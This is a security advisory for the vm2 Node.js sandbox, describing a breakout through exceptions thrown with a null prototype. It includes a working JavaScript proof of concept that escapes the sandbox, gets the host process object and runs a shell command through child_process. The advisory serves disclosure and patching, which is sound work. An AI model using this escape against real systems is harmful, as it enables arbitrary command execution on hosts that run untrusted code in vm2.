GHSA-9vg3-4rfj-wgcm
vm2 has Sandbox Breakout Through Null Proto Exception
Packages
Details
As written in the advisory (Markdown source, shown as plain text).
### Summary
VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.
### Details
In `handleException` due to ``// SECURITY (post-GHSA-mpf8 hardening): use `from` (not `ensureThis`)`` exceptions with a null proto will be assumed to come from the other side and being proxied. Therefore, it is possible to get the proxied and unproxied object of a sandbox object with a null proto when thrown and then catched which allows to get the host `Function` object.
### PoC
```js
const {VM} = require("vm2");
const vm = new VM();
console.log(vm.run(`
const o = {__proto__: null};
try {
throw o;
} catch (e) {
e.f = Buffer.prototype.inspect
o.f.constructor("return process")().mainModule.require('child_process').execSync('touch pwned');
}
`));
```
### Impact
Attackers can perform Remote Code Execution under the assumption that arbitrary code can be executed inside the context of a vm2 sandbox.
References
External links from the advisory. They lead to third-party sites.
- https://github.com/patriksimek/vm2/security/advisories/GHSA-9vg3-4rfj-wgcm
- https://nvd.nist.gov/vuln/detail/CVE-2026-44009
- https://github.com/patriksimek/vm2/commit/c33c2bb19a822847f4e01d8d87b28dd5b2c86b3e
- https://access.redhat.com/errata/RHSA-2026:50850
- https://access.redhat.com/security/cve/CVE-2026-44009
- https://bugzilla.redhat.com/show_bug.cgi?id=2477185
- https://github.com/patriksimek/vm2
- https://github.com/patriksimek/vm2/releases/tag/v3.11.2
- https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-44009.json